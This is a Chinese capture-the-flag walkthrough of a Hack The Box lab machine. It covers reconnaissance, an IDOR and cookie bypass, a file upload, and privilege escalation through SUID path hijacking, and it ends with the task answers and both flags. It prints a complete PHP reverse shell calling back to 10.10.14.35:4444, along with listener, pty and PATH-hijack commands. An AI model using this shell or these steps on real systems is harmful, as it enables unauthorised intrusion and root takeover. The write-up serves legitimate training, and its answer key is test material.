1.端口扫描
nmap -sV -sC 10.129.130.104
开放22和80端口,访问80端口,并且发现网站有关于存在登录页面的信息:
尝试寻找登录页面,发现/cdn-cgi/login页面:
访问http://10.129.130.104/cdn-cgi/login/
暴力破解未发现可用的账号密码,以guest身份登录:
发现上传页面,但是需要超级管理员用户才可以访问:
Account页面发现URL中存在参数
content=accounts&id=2
id=2时,登录用户为guest,如果将id=1,是不是可以跳转到其他用户;将id=1,页面返回了admin及Access ID
从上述页面可以看到,
Access ID=34322 Name=admin
,那更改role=admin user=34322
的值之后,重新访问upload页面,是不是就可以以管理员身份跳转到上传页面
访问上传页面成功,上传php反弹shell:
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.35'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
爆破上传脚本文件的保存地址,发现/uploads目录,猜测文件上传路径可能为:
/uploads/php-reverse-shell.php
./gobuster dir -u http://10.129.130.104/ -w directory-list-2.3-small.txt -x php
创建监听
ncat -lnvp 4444
浏览器访问脚本文件:http://10.129.130.104/uploads/php-reverse-shell.php,监听端获取到shell
执行如下命令,获取交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
在/var/www/html/cdn-cgi/login目录下发现多个php文件:
查看db.php文件,发现了
robert:M3g4C0rpUs3r!
尝试使用
robert:M3g4C0rpUs3r!
登录,成功登录。
并在/home/robert/user.txt中返现 user flag:
# 当前用户可以用 sudo 执行那些命令
sudo -l
# 显示真实有效的用户ID(UID)和组ID(GID)
id
robert没有具有sudo权限的可执行命令或文件,检查bugtracker是否有可执行权限或是否具有可执行权限的文件
find / -group bugtracker 2>/dev/null
# 查看bugtracker文件权限及文件类型
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
利用此特性,我们可通过SUID进行提权
bugtracker 工具使用 cat 命令读取文件
在tmp目录下创建cat文件,文件内容为/bin/sh
,并添加可执行权限
可以将/tmp目录添加到PATH环境变量中。
# 添加到path环境变量中
export PATH=/tmp:$PATH
# 检查环境变量
echo $PATH
在/tmp目录下执行bugtracker即可获取到root权限
查看flag
Tags
PHP、Web、Custom Applications、Session Handling、Apache、Reconnaissance、Web Site Structure Discovery、Cookie Manipulation、SUID Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Insecure Direct Object Reference (IDOR)、Path Hijacking
译文:PHP、Web、定制应用程序、会话处理、Apache、侦察、网站结构发现、Cookie 操作、SUID利用、身份验证绕过、明文凭证、任意文件上传、不安全的直接对象引用 (IDOR)、路径劫持
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处
TASK 1
With what kind of tool can intercept web traffic?
译文:用什么样的工具可以拦截网络流量?
答:proxy
TASK 2
What is the path to the directory on the webserver that returns a login page?
译文:返回登录页面的 Web 服务器上目录的路径是什么?
答:/cdn-cgi/login
TASK 3
What can be modified in Firefox to get access to the upload page?
译文:在Firefox中可以修改哪些内容来访问上传页面?
答:cookie
TASK 4
What is the access ID of the admin user?
译文:admin 用户的访问 ID 是什么?
答:34322
TASK 5
On uploading a file, what directory does that file appear in on the server?
译文:上传文件时,该文件出现在服务器上的哪个目录中?
答:/uploads
TASK 6
What is the file that contains the password that is shared with the robert user?
译文:包含与 robert 用户共享的密码的文件是什么?
答:db.php
TASK 7
Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
译文:运行什么可执行文件使用选项“-group bugtracker”来识别 bugtracker 组拥有的所有文件?
答:find
TASK 8
Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
译文:无论哪个用户开始运行 bugtracker 可执行文件,用户权限将使用什么来运行?
答:root
TASK 9
What SUID stands for?
译文:SUID代表什么?
答:Set owner User ID
TASK 10
What is the name of the executable being called in an insecure manner?
译文:以不安全的方式调用的可执行文件的名称是什么?
答:cat
SUBMIT FLAG
Submit user flag
译文:用户flag
答:f2c74ee8db7983851ab2a96a44eb7981
SUBMIT FLAG
Submit root flag
译文:提交root flag
答:af13b0bee69f8a877c3faf667f7beacf